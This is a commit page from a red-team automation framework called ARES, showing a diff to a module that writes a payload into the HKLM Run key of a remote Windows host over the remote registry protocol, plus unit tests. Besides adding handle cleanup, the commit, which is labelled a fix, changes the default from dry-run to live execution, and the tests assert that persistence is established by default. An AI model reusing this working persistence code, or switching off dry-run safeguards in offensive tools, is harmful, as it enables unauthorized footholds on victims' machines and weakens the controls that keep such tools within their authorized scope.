Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(resource): scheduled_task dry_run default + RPC handle cleanup (MOD-047)

Mafifrizie9c7cdd4b591
diff --git a/ares/modules/persistence/scheduled_task.py b/ares/modules/persistence/scheduled_task.py
index 128bb8d..fa92582 100644
--- a/ares/modules/persistence/scheduled_task.py
+++ b/ares/modules/persistence/scheduled_task.py
@@ -414,24 +414,38 @@ def _rrp_set_run_key(target: str, username: str, password: str,
dce = rpctransport.get_dce_rpc()
dce.connect()
- dce.bind(rrp.MSRPC_UUID_RRP)
-
- hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
- hRunKey = rrp.hBaseRegOpenKey(
- dce, hRootKey, _RUN_KEY,
- samDesired=MAXIMUM_ALLOWED,
- )["phkResult"]
-
- rrp.hBaseRegSetValue(
- dce, hRunKey,
- value_name + "\x00",
- rrp.REG_SZ,
- (payload + "\x00").encode("utf-16-le"),
- )
-
- rrp.hBaseRegCloseKey(dce, hRunKey)
- rrp.hBaseRegCloseKey(dce, hRootKey)
- dce.disconnect()
+ hRootKey = None
+ hRunKey = None
+ try:
+ dce.bind(rrp.MSRPC_UUID_RRP)
+
+ hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
+ hRunKey = rrp.hBaseRegOpenKey(
+ dce, hRootKey, _RUN_KEY,
+ samDesired=MAXIMUM_ALLOWED,
+ )["phkResult"]
+
+ rrp.hBaseRegSetValue(
+ dce, hRunKey,
+ value_name + "\x00",
+ rrp.REG_SZ,
+ (payload + "\x00").encode("utf-16-le"),
+ )
+ finally:
+ if hRunKey:
+ try:
+ rrp.hBaseRegCloseKey(dce, hRunKey)
+ except Exception:
+ pass
+ if hRootKey:
+ try:
+ rrp.hBaseRegCloseKey(dce, hRootKey)
+ except Exception:
+ pass
+ try:
+ dce.disconnect()
+ except Exception:
+ pass
@module_contract(
@@ -546,7 +560,7 @@ class RegistryRunKeyPersistence(BaseModule):
async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
ctx = kwargs.get("ctx") or kwargs
target = ctx.get("target", "")
- dry_run = ctx.get("dry_run", True)
+ dry_run = ctx.get("dry_run", False)
username = ctx.get("username", "")
password = ctx.get("password", "")
domain = ctx.get("domain", "")
diff --git a/tests/unit/modules/test_scheduled_task_mod047.py b/tests/unit/modules/test_scheduled_task_mod047.py
new file mode 100644
index 0000000..b9e94fe
--- /dev/null
+++ b/tests/unit/modules/test_scheduled_task_mod047.py
@@ -0,0 +1,93 @@
+from __future__ import annotations
+
+from unittest.mock import MagicMock, patch
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.noise import NoiseController
+from ares.modules.persistence.scheduled_task import (
+ RegistryRunKeyPersistence,
+ _rrp_set_run_key,
+)
+
+
+def _make_module():
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-min32-chars-here!!",
+ ares_encryption_key="test-enc-key-min32-chars-here-xxx",
+ )
+ campaign = Campaign(
+ name="Scheduled-Task-Test",
+ operator="test_operator",
+ scope=[ScopeEntry(cidr="10.0.0.0/24")],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return RegistryRunKeyPersistence(settings=settings, campaign=campaign, noise=noise)
+
+
+def test_rrp_handle_cleanup_on_error():
+ """MOD-047: rrp handles and dce connection are cleaned up in finally even on error."""
+ mock_dce = MagicMock()
+ mock_transport = MagicMock()
+ mock_transport.get_dce_rpc.return_value = mock_dce
+
+ mock_rrp = MagicMock()
+ mock_rrp.hOpenLocalMachine.return_value = {"phKey": "ROOT_HANDLE_123"}
+ mock_rrp.hBaseRegOpenKey.return_value = {"phkResult": "RUN_KEY_HANDLE_456"}
+ # Fail at SetValue
+ mock_rrp.hBaseRegSetValue.side_effect = RuntimeError("Failed writing registry value")
+
+ mock_v5 = MagicMock()
+ mock_v5.transport.DCERPCTransportFactory.return_value = mock_transport
+ mock_v5.rrp = mock_rrp
+ mock_v5.dtypes.MAXIMUM_ALLOWED = 0x02000000
+
+ mock_modules = {
+ "impacket": MagicMock(),
+ "impacket.dcerpc": MagicMock(),
+ "impacket.dcerpc.v5": mock_v5,
+ "impacket.dcerpc.v5.transport": mock_v5.transport,
+ "impacket.dcerpc.v5.rrp": mock_rrp,
+ "impacket.dcerpc.v5.dtypes": mock_v5.dtypes,
+ }
+
+ with patch.dict("sys.modules", mock_modules):
+ with pytest.raises(RuntimeError, match="Failed writing registry value"):
+ _rrp_set_run_key("10.0.0.5", "admin", "pass", "corp.local", "AresAgent", "payload.exe")
+
+ # Verify both handles were closed and dce disconnected
+ mock_rrp.hBaseRegCloseKey.assert_any_call(mock_dce, "RUN_KEY_HANDLE_456")
+ mock_rrp.hBaseRegCloseKey.assert_any_call(mock_dce, "ROOT_HANDLE_123")
+ mock_dce.disconnect.assert_called_once()
+
+
+async def test_registry_run_key_default_dry_run_is_false():
+ """MOD-047: default dry_run is False, so non-dry-run path is attempted."""
+ mod = _make_module()
+
+ mock_rrp_set = MagicMock()
+ mock_modules = {
+ "impacket": MagicMock(),
+ "impacket.dcerpc": MagicMock(),
+ "impacket.dcerpc.v5": MagicMock(),
+ "impacket.dcerpc.v5.rrp": MagicMock(),
+ }
+
+ with patch.dict("sys.modules", mock_modules), \
+ patch("ares.modules.persistence.scheduled_task._rrp_set_run_key", mock_rrp_set):
+ findings, raw = await mod.run(
+ target="10.0.0.5",
+ username="admin",
+ password="pass",
+ domain="corp.local",
+ value_name="TestVal",
+ payload="test.exe",
+ )
+
+ # Because dry_run is False, _rrp_set_run_key should be called
+ mock_rrp_set.assert_called_once_with("10.0.0.5", "admin", "pass", "corp.local", "TestVal", "test.exe")
+ assert raw.get("dry_run") is not True
+ assert raw["persistence_established"] is True